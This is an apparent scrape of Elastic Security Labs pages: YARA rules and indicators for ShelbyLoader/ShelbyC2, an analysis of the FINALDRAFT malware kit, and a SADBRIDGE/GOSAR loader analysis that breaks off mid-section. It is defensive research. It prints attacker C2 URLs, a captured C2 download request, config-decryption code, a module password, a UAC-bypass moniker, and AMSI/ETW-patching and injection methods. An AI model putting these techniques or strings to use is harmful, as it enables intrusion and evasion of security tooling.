rule Windows_Trojan_ShelbyLoader {
    meta:
        author = "Elastic Security"
        creation_date = "2025-03-11"
        last_modified = "2025-03-25"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "ShelbyLoader"
        threat_name = "Windows.Trojan.ShelbyLoader"
        license = "Elastic License v2"

    strings:
        $a0 = "[WARN] Unusual parent process detected: "
        $a1 = "[ERROR] Exception in CheckParentProcess:" fullword
        $a2 = "[INFO] Sandbox Not Detected by CheckParentProcess" fullword
        $b0 = { 22 63 6F 6E 74 65 6E 74 22 3A 20 22 2E 2B 3F 22 }
        $b1 = { 22 73 68 61 22 3A 20 22 2E 2B 3F 22 }
        $b2 = "Persist ID: " fullword
        $b3 = "https://api.github.com/repos/" fullword
    condition:
        all of ($a*) or all of ($b*)
}

rule Windows_Trojan_ShelbyC2 {
    meta:
        author = "Elastic Security"
        creation_date = "2025-03-11"
        last_modified = "2025-03-25"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "ShelbyC2"
        threat_name = "Windows.Trojan.ShelbyC2"
        license = "Elastic License v2"

    strings:
        $a0 = "File Uploaded Successfully" fullword
        $a1 = "/dlextract" fullword
        $a2 = "/evoke" fullword
        $a4 = { 22 73 68 61 22 3A 20 22 2E 2B 3F 22 }
        $a5 = { 22 2C 22 73 68 61 22 3A 22 }
    condition:
        all of them
}

Observations

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

| Observable | Type | Name | Reference | |------------------------------------------------------------------|-------------|-----------------|--------------------------| | 0e25efeb4e3304815f9e51c1d9bd3a2e2a23ece3a32f0b47f829536f71ead17a | SHA-256 | details.zip | Lure zip file | | feb5d225fa38efe2a627ddfbe9654bf59c171ac0742cd565b7a5f22b45a4cc3a | SHA-256 | JPerf-3.0.0.exe | | | 0354862d83a61c8e69adc3e65f6e5c921523eff829ef1b169e4f0f143b04091f | SHA-256 | HTTPService.dll | SHELBYLOADER | | fb8d4c24bcfd853edb15c5c4096723b239f03255f17cec42f2d881f5f31b6025 | SHA-256 | HTTPApi.dll | SHELBYC2 | | 472e685e7994f51bbb259be9c61f01b8b8f35d20030f03215ce205993dbad7f5 | SHA-256 | JPerf-3.0.0.zip | Lure zip file | | 5c384109d3e578a0107e8518bcb91cd63f6926f0c0d0e01525d34a734445685c | SHA-256 | Setup.exe | | | e51c6f0fbc5a7e0b03a0d6e1e1d26ab566d606b551c785bf882e9a02f04c862b | SHA-256 | | Lure zip file | | github[.]com/johnshelllby | URL | | GitHub Account name - C2 | | github[.]com/arturshellby | URL | | GitHub Account name - C2 | | arthurshelby[.]click | domain-name | | DNS domain | | speed-test[.]click | domain-name | | | | 2.56.126[.]151 | ipv4 | | | | 2.56.126[.]157 | ipv4 | | | | 2.56.126[.]188 | ipv4 | | | | 172.86.68[.]55 | ipv4 | | | | 195.16.74[.]138 | ipv4 | | |

You've Got Malware: FINALDRAFT Hides in Your Drafts

Cyril François,Jia Yu Chan,Salim Bitam,Daniel Stepanic — Thu, 13 Feb 2025 00:00:00 GMT

While investigating REF7707, Elastic Security Labs discovered a new family of previously unknown malware that leverages Outlook as a communication channel via the Microsoft Graph API. This post-exploitation kit includes a loader, a backdoor, and multiple submodules that enable advanced post-exploitation activities.

Our analysis uncovered a Linux variant and an older PE variant of the malware, each with multiple distinct versions that suggest these tools have been under development for some time.

The completeness of the tools and the level of engineering involved suggest that the developers are well-organized. The extended time frame of the operation and evidence from our telemetry suggest it’s likely an espionage-oriented campaign.

This report details the features and capabilities of these tools.

For the campaign analysis of REF7707 - check out From South America to Southeast Asia: The Fragile Web of REF7707.

Technical Analysis

PATHLOADER

PATHLOADER is a Windows PE file that downloads and executes encrypted shellcode retrieved from external infrastructure.

Our team recovered and decrypted the shellcode retrieved by PATHLOADER, extracting a new implant we have not seen publicly reported, which we call FINALDRAFT. We believe these two components are used together to infiltrate sensitive environments.

Configuration

PATHLOADER is a lightweight Windows executable at 206 kilobytes; this program downloads and executes shellcode hosted on a remote server. PATHLOADER includes an embedded configuration stored in the .data section that includes C2 and other relevant settings.

After Base64 decoding and converting from the embedded hex string, the original configuration is recovered with two unique typosquatted domains resembling security vendors.

https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*

Configuration from PATHLOADER

API Hashing

In order to block static analysis efforts, PATHLOADER performs API hashing using the Fowler–Noll–Vo hash function. This can be observed based on the immediate value 0x1000193 found 37 times inside the binary. The API hashing functionality shows up as in-line as opposed to a separate individual function.

String Obfuscation

PATHLOADER uses string encryption to obfuscate functionality from analysts reviewing the program statically. While the strings are easy to decrypt while running or if using a debugger, the obfuscation shows up in line, increasing the complexity and making it more challenging to follow the control flow. This obfuscation uses SIMD (Single Instruction, Multiple Data) instructions and XMM registers to transform the data.

One string related to logging WinHttpSendRequest error codes used by the malware developer was left unencrypted.

Execution/Behavior

Upon execution, PATHLOADER employs a combination of GetTickCount64 and Sleep methods to avoid immediate execution in a sandbox environment. After a few minutes, PATHLOADER parses its embedded configuration, cycling through both preconfigured C2 domains (poster.checkponit[.]com, support.fortineat[.]com) attempting to download the shellcode through HTTPS GET requests.

GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: poster.checkponit.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36

The shellcode is AES encrypted and Base64 encoded. The AES decryption is performed using the shellcode download URL path “/nzoMeFYgvjyXK3P” as the 128-bit key used in the call to the CryptImportKey API.

After the CryptDecrypt call, the decrypted shellcode is copied into previously allocated memory. The memory page is then set to PAGE_EXECUTE_READ_WRITE using the NtProtectVirtualMemory API. Once the page is set to the appropriate protection, the shellcode entrypoint is called, which in turn loads and executes the next stage: FINALDRAFT.

FINALDRAFT

FINALDRAFT is a 64-bit malware written in C++ that focuses on data exfiltration and process injection. It includes additional modules, identified as parts of the FINALDRAFT kit, which can be injected by the malware. The output from these modules is then forwarded to the C2 server.

Entrypoint

FINALDRAFT exports a single entry point as its entry function. The name of this function varies between samples; in this sample, it is called UpdateTask.

Initialization

The malware is initialized by loading its configuration and generating a session ID.

Configuration loading process

The configuration is hardcoded in the binary in an encrypted blob. It is decrypted using the following algorithm.

for ( i = 0; i < 0x149A; ++i )
  configuration[i] ^= decryption_key[i & 7];

Decryption algorithm for configuration data

The decryption key is derived either from the Windows product ID (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId) or from a string located after the encrypted blob. This is determined by a global flag located after the encrypted configuration blob.

The decryption key derivation algorithm is performed as follows:

uint64_t decryption_key = 0;
do
  decryption_key = *data_source++ + 31 * decryption_key;
while ( data_source != &data_source[data_source_length] );

Decryption key derivation algorithm

The configuration structure is described as follows:

struct Configuration // sizeof=0x149a
{
  char c2_hosts_or_refresh_token[5000];
  char pastebin_url[200];
  char guid[36];
  uint8_t unknown_0[4];
  uint16_t build_id;
  uint32_t sleep_value;
  uint8_t communication_method;
  uint8_t aes_encryption_key[16];
  bool get_external_ip_address;
  uint8_t unknown_1[10]
};

Configuration structure

The configuration is consistent across variants and versions, although not all fields are utilized. For example, the communication method field wasn't used in the main variant at the time of this publication, and only the MSGraph/Outlook method was used. However, this is not the case in the ELF variant or prior versions of FINALDRAFT.

The configuration also contains a Pastebin URL, which isn’t used across any of the variants. However, this URL was quite useful to us for pivoting from the initial sample.

Session ID derivation process

The session ID used for communication between FINALDRAFT and C2 is generated by creating a random GUID, which is then processed using the Fowler-Noll-Vo (FNV) hash function.

Communication protocol

During our analysis, we discovered that different communication methods are available from the configuration; however, the most contemporary sample at this time uses only the COutlookTrans class, which abuses the Outlook mail service via the Microsoft Graph API. This same technique was observed in SIESTAGRAPH, a previously unknown malware family reported by Elastic Security Labs in February 2023 and attributed to a PRC-affiliated threat group.

The Microsoft Graph API token is obtained by FINALDRAFT using the https://login.microsoftonline.com/common/oauth2/token endpoint. The refresh token used for this endpoint is located in the configuration.

Once refreshed, the Microsoft Graph API token is stored in the following registry paths based on whether the user has administrator privileges:

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\

This token is reused across requests, if it is still valid.

The communication loop is described as follows:

Create a session email draft if it doesn’t already exist.
Read and delete command request email drafts created by the C2.
Process commands
Write command response emails as drafts for each processed command.

A check is performed to determine whether a session email, in the form of a command response email identified by the subject p_, already exists. If it does not, one is created in the mail drafts. The content of this email is base64 encoded but not AES encrypted.

The session data is described in the structure below.

struct Session
{
  char random_bytes[30];
  uint32_t total_size;
  char field_22;
  uint64_t session_id;
  uint64_t build_number;
  char field_33;
};

Session data structure

The command queue is filled by checking the last five C2 command request emails in the mail drafts, which have subjects r_.

After reading the request, emails are then deleted.

Commands are then processed, and responses are written into new draft emails, each with the same p_ subject for each command response.

Content for message requests and responses are Zlib compressed, AES CBC encrypted, and Base64 encoded. The AES key used for encryption and decryption is located in the configuration blob.

Base64(AESEncrypt(ZlibCompress(data)))

Request messages sent from the C2 to the implant follow this structure.

struct C2Message{
  struct {
    uint8_t random_bytes[0x1E];  
    uint32_t message_size;    
    uint64_t session_id;      
  } header;                     // Size: 0x2A (42 bytes)

  struct {
    uint32_t command_size;                     
    uint32_t next_command_struct_offset;
    uint8_t command_id;                   
    uint8_t unknown[8];                   
    uint8_t command_args[];                       
  } commands[];
};

Request message structure

Response messages sent from the implant to C2 follow this structure.

struct ImplantMessage {
  struct Header {
    uint8_t random_bytes[0x1E];  
    uint32_t total_size;    
    uint8_t flag;        // Set to 1
    uint64_t session_id;
    uint16_t build_id;
    uint8_t pad[6];
  } header;

  struct Message {
    uint32_t actual_data_size_add_0xf;
    uint8_t command_id;
    uint8_t unknown[8];
    uint8_t flag_success;
    char newline[0x2];
    uint8_t actual_data[];
  }                    
};

Response message structure

Here is an example of data stolen by the implant.

Commands

FinalDraft registers 37 command handlers, with most capabilities revolving around process injection, file manipulation, and network proxy capabilities.

Below is a table of the commands and their IDs:

| ID | Name | | :--- | :------------------------------------------- | | 0 | GatherComputerInformation | | 2 | StartTcpServerProxyToC2 | | 3 | StopTcpServerProxyToC2 | | 4 | ConnectToTcpTargetStartProxyToC2 | | 5 | SetSleepValue | | 6 | DeleteNetworkProjectorFwRuleAndStopTCPServer | | 8 | ConnectToTcpTarget | | 9 | SendDataToUdpOrTcpTarget | | 10 | CloseTcpConnection | | 11 | DoProcessInjectionSendOutputEx | | 12 | ListFiles | | 13 | ListAvailableDrives | | 14 | CreateDirectory | | 15 | DeleteFileOrDirectory | | 16 | DownloadFile | | 17 | UploadFile0 | | 18 | DummyFunction | | 19 | SetCurrentDirectory | | 20 | GetCurrentDirectory | | 21 | ListRunningProcesses | | 24 | DoProcessInjectionNoOutput | | 25 | DoProcessInjectionNoOutput (Same as 24) | | 26 | DoProcessInjectionSendOutput1 | | 28 | DisconnectFromNamedPipe | | 30 | ConnectToNamedPipeAndProxyMessageToC2 | | 31 | GetCurrentProcessTokenInformation | | 32 | EnumerateActiveSessions | | 33 | ListActiveTcpUdpConnections | | 35 | MoveFile1 | | 36 | GetOrSetFileTime | | 39 | UploadFile1 | | 41 | MoveFile0 | | 42 | CopyFileOrCopyDirectory | | 43 | TerminateProcess | | 44 | CreateProcess |

FINALDRAFT command handler table

Gather computer information

Upon execution of the GatherComputerInformation command, information about the victim machine is collected and sent by FINALDRAFT. This information includes the computer name, the account username, internal and external IP addresses, and details about running processes.

This structure is described as follows:

struct ComputerInformation
{
  char field_0;
  uint64_t session_id;
  char field_9[9];
  char username[50];
  char computer_name[50];
  char field_76[16];
  char external_ip_address[20];
  char internal_ip_address[20];
  uint32_t sleep_value;
  char field_B2;
  uint32_t os_major_version;
  uint32_t os_minor_version;
  bool product_type;
  uint32_t os_build_number;
  uint16_t os_service_pack_major;
  char field_C2[85];
  char field_117;
  char current_module_name[50];
  uint32_t current_process_id;
};

Collected information structure

The external IP address is collected when enabled in the configuration.

This address is obtained by FINALDRAFT using the following list of public services.

IP lookup service list

Process injection

FINALDRAFT has multiple process injection-related commands that can inject into either running processes or create a hidden process to inject into.

In cases where a process is created, the target process is either an executable path provided as a parameter to the command or defaults to mspaint.exe or conhost.exe as a fallback.

Depending on the command and its parameters, the process can be optionally created with its standard output handle piped. In this case, once the process is injected, FINALDRAFT reads from the pipe's output and sends its content along with the command response.

Another option exists where, instead of piping the standard handle of the process, FINALDRAFT, after creating and injecting the process, waits for the payload to create a Windows named pipe. It then connects to the pipe, writes some information to it, reads its output, and sends the data to the C2 through a separate channel. (In the case of the Outlook transport channel, this involves creating an additional draft email.).

The process injection procedure is basic and based on VirtualAllocEx, WriteProcessMemory, and RtlCreateUserThread API.

Forwarding data from TCP, UDP, and named pipes

FINALDRAFT offers various methods of proxying data to C2, including UDP and TCP listeners, and a named pipe client.

Proxying UDP and TCP data involves handling incoming communication differently based on the protocol. For UDP, messages are received directly from the sender, while for TCP, client connections are accepted before receiving data. In both cases, the data is read from the socket and forwarded to the transport channel.

Below is an example screenshot of the recvfrom call from the UDP listener.

Before starting the TCP listener server, FINALDRAFT adds a rule to the Windows Firewall. This rule is removed when the server shuts down. To add/remove these rules the malware uses COM and the INetFwPolicy2 and the INetFwRule interfaces.

FINALDRAFT can also establish a TCP connection to a target. In this case, it sends a magic value, “\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12” and expects the server to echo the same magic value back before beginning to forward the received data.

For the named pipe, FINALDRAFT only connects to an existing pipe. The pipe name must be provided as a parameter to the command, after which it reads the data and forwards it through a separate channel.

File manipulation

For the file deletion functionality, FINALDRAFT prevents file recovery by overwriting file data with zeros before deleting them.

FINALDRAFT defaults to CopyFileW for file copying. However, if it fails, it will attempt to copy the file at the NTFS cluster level.

It first opens the source file as a drive handle. To retrieve the cluster size of the volume where the file resides, it uses GetDiskFreeSpaceW to retrieve information about the number of sectors per cluster and bytes per sector. DeviceIoControl is then called with FSCTL_GET_RETRIEVAL_POINTERS to retrieve details of extents: locations on disk storing the data of the specified file and how much data is stored there in terms of cluster size.

For each extent, it uses SetFilePointer to move the source file pointer to the corresponding offset in the volume; reading and writing one cluster of data at a time from the source file to the destination file.

If the file does not have associated cluster mappings, it is a resident file, and data is stored in the MFT itself. It uses the file's MFT index to get its raw MFT record. The record is then parsed to locate the $DATA attribute (type identifier = 128). Data is then extracted from this attribute and written to the destination file using WriteFile.

Injected Modules

Our team observed several additional modules loaded through the DoProcessInjectionSendOutputEx command handler performing process injection and writing the output back through a named pipe. This shellcode injected by FINALDRAFT leverages the well-known sRDI project, enabling the loading of a fully-fledged PE DLL into memory within the same process, resolving its imports and calling its export entrypoint.

Network enumeration (`ipconfig.x64.dll`)

This module creates a named pipe (\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1) waiting for FINALDRAFT to connect to it. Perhaps to prevent analysis/sandboxing, the threat actor used a password (Aslire597) as an argument, if the password is incorrect, the module will not run.

As its name suggests, this module is a custom implementation of the ipconfig command retrieving networking information using Windows API’s (GetAdaptersAddresses, GetAdaptersInfo, GetNetworkParams) and reading the Windows registry keypath (SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces). After the data is retrieved, it is sent back to FINALDRAFT through the named pipe.

PowerShell execution (`Psloader.x64.dll`)

This module allows the operator to execute PowerShell commands without invoking the powershell.exe binary. The code used is taken from PowerPick, a well-known open source offensive security tool.

To evade detection, the module first hooks the EtwEventWrite, ReportEventW, and AmsiScanBuffer APIs, forcing them to always return 0, which disables ETW logging and bypasses anti-malware scans.

Next, the DLL loads a .NET payload (PowerPick) stored in its .data section using the CLR Hosting technique.

The module creates a named pipe (\\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2) which is used for command forwarding and output retrieval. The main thread is designated as the receiver, while a secondary thread is created to write data to the pipe. Finally, the managed PowerPick binary is loaded and executed by the module.

Pass-the-Hash toolkit (`pnt.x64.dll`)

This module is a custom Pass-the-Hash (PTH) toolkit used to start new processes with stolen NTLM hashes. This PTH implementation is largely inspired by the one used by Mimikatz, enabling lateral movement.

A password (Aslire597), domain, and username with the NTLM hash, along with the file path of the program to be elevated, are required by this module. In our sample, this command line is loaded by the sRDI shellcode. Below is an example of the command line.

program.exe \:

Like the other module, it creates a named pipe, ”\\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9”, and awaits incoming connections from FINALDRAFT. This named pipe serves as a logging channel.

After establishing the pipe connection, the malware creates a target process in a suspended state using CreateProcessWithLogonW, identifies key structures like the LogonSessionList and LogonSessionListCount within the Local Security Authority Subsystem Service (LSASS) process, targeting the logon session specified by the provided argument.

Once the correct session is matched, the current credential structure inside LSASS is overwritten with the supplied NTLM hash instead of the current user's NTLM hash, and finally, the process thread is resumed. This technique is well explained in the blog post "Inside the Mimikatz Pass-the-Hash Command (Part 2)" by Praetorian. The result is then sent to the named pipe.

FINALDRAFT ELF variant

During this investigation, we discovered an ELF variant of FINALDRAFT. This version supports more transport protocols than the PE version, but has fewer features, suggesting it might be under development.

Additional transport channels

The ELF variant of FINALDRAFT supports seven additional protocols for C2 transport channels:

FINALDRAFT ELF variant C2 communication options

From the ELF samples discovered, we have identified implants configured to use the HTTP and Outlook via Graph API channels.

While the code structure is similar to the most contemporary PE sample, at the time of this publication, some parts of the implant's functionality were modified to conform to the Linux environment. For example, new Microsoft OAuth refresh tokens requested are written to a file on disk, either /var/log/installlog.log. or /mnt/hgfsdisk.log. if it fails to write to the prior file.

Below is a snippet of the configuration which uses the HTTP channel. We can see two C2 servers are used in place of a Microsoft refresh token, the port number 0x1bb (443) at offset 0xc8, and flag for using HTTPS at offset 0xfc.

The domains are intentionally designed to typosquat well-known vendors, such as "VMSphere" (VMware vSphere). However, it's unclear which vendor "Hobiter" is attempting to impersonate in this instance.

| C2 | | :------------------ | | support.vmphere.com | | update.hobiter.com |

Domain list

Commands

All of the commands overlap with its Windows counterpart, but offer fewer options. There are two C2 commands dedicated to collecting information about the victim's machine. Together, these commands gather the following details:

Hostname
Current logged-in user
Intranet IP address
External IP address
Gateway IP address
System boot time
Operating system name and version
Kernel version
System architecture
Machine GUID
List of active network connections
List of running processes
Name of current process

Command Execution

While there are no process injection capabilities, the implant can execute shell commands directly. It utilizes popen for command execution, capturing both standard output and errors, and sending the results back to the C2 infrastructure.

Self Deletion

To dynamically resolve the path of the currently running executable, its symlink pointing to the executable image is passed to sys_readlink. sys_unlink is then called to remove the executable file from the filesystem.

Older FINALDRAFT PE sample

During our investigation, we identified an older version of FINALDRAFT. This version supports half as many commands but includes an additional transport protocol alongside the MS Graph API/Outlook transport channel.

The name of the binary is Session.x64.dll, and its entrypoint export is called GoogleProxy:

HTTP transport channel

This older version of FINALDRAFT selects between the Outlook or HTTP transport channel based on the configuration.

In this sample, the configuration contains a list of hosts instead of the refresh token found in the main sample. These same domains were used by PATHLOADER, the domain (checkponit[.]com) was registered on 2022-08-26T09:43:16Z and domain (fortineat[.]com) was registred on 2023-11-08T09:47:47Z.

The domains purposely typosquat real known vendors, CheckPoint and Fortinet, in this case.

| C2 | | :------------------------ | | poster.checkponit[.]com | | support.fortineat[.]com |

Domain list

Shell command

An additional command exists in this sample that is not present in later versions. This command, with ID 1, executes a shell command.

The execution is carried out by creating a cmd.exe process with the "/c" parameter, followed by appending the actual command to the parameter.

Detection

Elastic Defend detects the process injection mechanism through two rules. The first rule detects the WriteProcessMemory API call targeting another process, which is a common behavior observed in process injection techniques.

The second rule detects the creation of a remote thread to execute the shellcode.

We also detect the loading of the PowerShell engine by the Psloader.x64.dll module, which is injected into the known target mspaint.exe.

Malware and MITRE ATT\&CK

Elastic uses the MITRE ATT\&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Mitigations

Detection

YARA

Elastic Security has created the following YARA rules related to this post:

Observations

The following observables were discussed in this research:

Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite

Jia Yu Chan,Salim Bitam,Daniel Stepanic,Seth Goodwin — Fri, 13 Dec 2024 00:00:00 GMT

Introduction

Elastic Security Labs recently observed a new intrusion set targeting Chinese-speaking regions, tracked as REF3864. These organized campaigns target victims by masquerading as legitimate software such as web browsers or social media messaging services. The threat group behind these campaigns shows a moderate degree of versatility in delivering malware across multiple platforms such as Linux, Windows, and Android. During this investigation, our team discovered a unique Windows infection chain with a custom loader we call SADBRIDGE. This loader deploys a Golang-based reimplementation of QUASAR, which we refer to as GOSAR. This is our team’s first time observing a rewrite of QUASAR in the Golang programming language.

Key takeaways

Ongoing campaigns targeting Chinese language speakers with malicious installers masquerading as legitimate software like Telegram and the Opera web browser
Infection chains employ injection and DLL side-loading using a custom loader (SADBRIDGE)
SADBRIDGE deploys a newly-discovered variant of the QUASAR backdoor written in Golang (GOSAR)
GOSAR is a multi-functional backdoor under active development with incomplete features and iterations of improved features observed over time
Elastic Security provides comprehensive prevention and detection capabilities against this attack chain

REF3864 Campaign Overview

In November, the Elastic Security Labs team observed a unique infection chain when detonating several different samples uploaded to VirusTotal. These different samples were hosted via landing pages masquerading as legitimate software such as Telegram or the Opera GX browser.

During this investigation, we uncovered multiple infection chains involving similar techniques:

Trojanized MSI installers with low detections
Masquerading using legitimate software bundled with malicious DLLs
Custom SADBRIDGE loader deployed
Final stage GOSAR loaded

We believe these campaigns have flown under the radar due to multiple levels of abstraction. Typically, the first phase involves opening an archive file (ZIP) that includes an MSI installer. Legitimate software like the Windows x64dbg.exe debugging application is used behind-the-scenes to load a malicious, patched DLL (x64bridge.dll). This DLL kicks off a new legitimate program (MonitoringHost.exe) where it side-loads another malicious DLL (HealthServiceRuntime.dll), ultimately performing injection and loading the GOSAR implant in memory via injection.

Malware researchers extracted SADBRIDGE configurations that reveal adversary-designated campaign dates, and indicate operations with similar TTP’s have been ongoing since at least December 2023. The command-and-control (C2) infrastructure for GOSAR often masquerades under trusted services or software to appear benign and conform to victim expectations for software installers. Throughout the execution chain, there is a focus centered around enumerating Chinese AV products such as 360tray.exe, along with firewall rule names and descriptions in Chinese. Due to these customizations we believe this threat is geared towards targeting Chinese language speakers. Additionally, extensive usage of Chinese language logging indicates the attackers are also Chinese language speakers.

QUASAR has previously been used in state-sponsored espionage, non-state hacktivism, and criminal financially motivated attacks since 2017 (Qualys, Evolution of Quasar RAT), including by China-linked APT10. A rewrite in Golang might capitalize on institutional knowledge gained over this period, allowing for additional capabilities without extensive retraining of previously effective TTPs.

GOSAR extends QUASAR with additional information-gathering capabilities, multi-OS support, and improved evasion against anti-virus products and malware classifiers. However, the generic lure websites, and lack of additional targeting information, or actions on the objective, leave us with insufficient evidence to identify attacker motivation(s).

SADBRIDGE Introduction

The SADBRIDGE malware loader is packaged as an MSI executable for delivery and uses DLL side-loading with various injection techniques to execute malicious payloads. SADBRIDGE abuses legitimate applications such as x64dbg.exe and MonitoringHost.exe to load malicious DLLs like x64bridge.dll and HealthServiceRuntime.dll, which leads to subsequent stages and shellcodes.

Persistence is achieved through service creation and registry modifications. Privilege escalation to Administrator occurs silently using a UAC bypass technique that abuses the ICMLuaUtil COM interface. In addition, SADBRIDGE incorporates a privilege escalation bypass through Windows Task Scheduler to execute its main payload with SYSTEM level privileges.

The SADBRIDGE configuration is encrypted using a simple subtraction of 0x1 on each byte of the configuration string. The encrypted stages are all appended with a .log extension, and decrypted during runtime using XOR and the LZNT1 decompression algorithm.

SADBRIDGE employs PoolParty, APC queues, and token manipulation techniques for process injection. To avoid sandbox analysis, it uses long Sleep API calls. Another defense evasion technique involves API patching to disable Windows security mechanisms such as the Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW).

The following deep dive is structured to explore the execution chain, providing a step-by-step walkthrough of the capabilities and functionalities of significant files and stages, based on the configuration of the analyzed sample. The analysis aims to highlight the interaction between each component and their roles in reaching the final payload.

SADBRIDGE Code Analysis

MSI Analysis

The initial files are packaged in an MSI using Advanced Installer, the main files of interest are x64dbg.exe and x64bridge.dll.

By using MSI tooling (lessmsi), we can see the LaunchApp entrypoint in aicustact.dll is configured to execute the file path specified in the AI_APP_FILE property.

If we navigate to this AI_APP_FILE property, we can see the file tied to this configuration is x64dbg.exe. This represents the file that will be executed after the installation is completed, the legitimate NetFxRepairTool.exe is never executed.

x64bridge.dll Side-loading

When x64dbg.exe gets executed, it calls the BridgeInit export from x64bridge.dll. BridgeInit is a wrapper for the BridgeStart function.

Similar to techniques observed with BLISTER, SADBRIDGE patches the export of a legitimate DLL.

During the malware initialization routine, SADBRIDGE begins with generating a hash using the hostname and a magic seed 0x4E67C6A7. This hash is used as a directory name for storing the encrypted configuration file. The encrypted configuration is written to C:\Users\Public\Documents\\edbtmp.log. This file contains the attributes FILE_ATTRIBUTE_SYSTEM, FILE_ATTRIBUTE_READONLY, FILE_ATTRIBUTE_HIDDEN to hide itself from an ordinary directory listing.

Decrypting the configuration is straightforward, the encrypted chunks are separated with null bytes. For each byte within the encrypted chunks, we can increment them by 0x1.

The configuration consists of:

Possible campaign date
Strings to be used for creating services
New name for MonitoringHost.exe (DevQueryBroker.exe)
DLL name for the DLL to be sideloaded by MonitoringHost.exe (HealthServiceRuntime.dll)
Absolute paths for additional stages (.log files)
The primary injection target for hosting GOSAR (svchost.exe)

The DevQueryBroker directory (C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\) contains all of the encrypted stages (.log files) that are decrypted at runtime. The file (DevQueryBroker.exe) is a renamed copy of Microsoft legitimate application (MonitoringHost.exe).

Finally, it creates a process to run DevQueryBroker.exe which side-loads the malicious HealthServiceRuntime.dll in the same folder.

HealthServiceRuntime.dll

This module drops both an encrypted and partially decrypted shellcode in the User’s %TEMP% directory. The file name for the shellcode follows the format: log.tmp. Each byte of the partially decrypted shellcode is then decremented by 0x10 to fully decrypt. The shellcode is executed in a new thread of the same process.

The malware leverages API hashing using the same algorithm in research published by SonicWall, the hashing algorithm is listed in the Appendix section. The shellcode decrypts DevQueryBroker.log into a PE file then performs a simple XOR operation with a single byte (0x42) in the first third of the file where then it decompresses the result using the LZNT1 algorithm.

The shellcode then unmaps any existing mappings at the PE file's preferred base address using NtUnmapViewOfSection, ensuring that a call to VirtualAlloc will allocate memory starting at the preferred base address. Finally, it maps the decrypted PE file to this allocated memory and transfers execution to its entry point. All shellcodes identified and executed by SADBRIDGE share an identical code structure, differing only in the specific .log files they reference for decryption and execution.

DevQueryBroker.log

The malware dynamically loads amsi.dll to disable critical security mechanisms in Windows. It patches AmsiScanBuffer in amsi.dll by inserting instructions to modify the return value to 0x80070057, the standardized Microsoft error code E_INVALIDARG indicating invalid arguments, and returning prematurely, to effectively bypass the scanning logic. Similarly, it patches AmsiOpenSession to always return the same error code E_INVALIDARG. Additionally, it patches EtwEventWrite in ntdll.dll, replacing the first instruction with a ret instruction to disable Event Tracing for Windows (ETW), suppressing any logging of malicious activity.

Following the patching, an encrypted shellcode is written to temp.ini at path (C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini).
The malware checks the current process token’s group membership to determine its privilege level. It verifies if the process belongs to the LocalSystem account by initializing a SID with the SECURITY_LOCAL_SYSTEM_RID and calling CheckTokenMembership. If not, it attempts to check for membership in the Administrators group by creating a SID using SECURITY_BUILTIN_DOMAIN_RID and DOMAIN_ALIAS_RID_ADMINS and performing a similar token membership check.

If the current process does not have LocalSystem or Administrator privileges, privileges are first elevated to Administrator through a UAC bypass mechanism by leveraging the ICMLuaUtil COM interface. It crafts a moniker string "Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" to create an instance of the CMSTPLUA object with Administrator privileges. Once the object is created and the ICMLuaUtil interface is obtained, the malware uses the exposed ShellExec method of the interface to run DevQueryBroker.exe.

If a task or a service is not created to run DevQueryBroker.exe routinely, the malware checks if the Anti-Virus process 360tray.exe is running. If it is not running, a service is created for privilege escalation to SYSTEM, with the following properties:

Service name: DevQueryBrokerService
Binary path name: “C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\DevQueryBroker.exe -svc”.
Display name: DevQuery Background Discovery Broker Service
Description: Enables apps to discover devices with a background task.
Start type: Automatically at system boot
Privileges: LocalSystem

If 360tray.exe is detected running, the malware writes an encrypted PE file to DevQueryBrokerService.log, then maps a next-stage PE file (Stage 1) into the current process memory, transferring execution to it.

Once DevQueryBroker.exe is re-triggered with SYSTEM level privileges and reaches this part of the chain, the malware checks the Windows version. For systems running Vista or later (excluding Windows 7), it maps another next-stage (Stage 2) into memory and transfers execution there.

On Windows 7, however, it executes a shellcode, which decrypts and runs the DevQueryBrokerPre.log file.

Stage 1 Injection (explorer.exe)

SADBRIDGE utilizes PoolParty Variant 7 to inject shellcode into explorer.exe by targeting its thread pool’s I/O completion queue. It first duplicates a handle to the target process's I/O completion queue. It then allocates memory within explorer.exe to store the shellcode. Additional memory is allocated to store a crafted TP_DIRECT structure, which includes the base address of the shellcode as the callback address. Finally, it calls ZwSetIoCompletion, passing a pointer to the TP_DIRECT structure to queue a packet to the I/O completion queue of the target process's worker factory (worker threads manager), effectively triggering the execution of the injected shellcode.

This shellcode decrypts the DevQueryBrokerService.log file, unmaps any memory regions occupying its preferred base address, maps the PE file to that address, and then executes its entry point. This behavior mirrors the previously observed shellcode.

Stage 2 Injection (spoolsv.exe/lsass.exe)

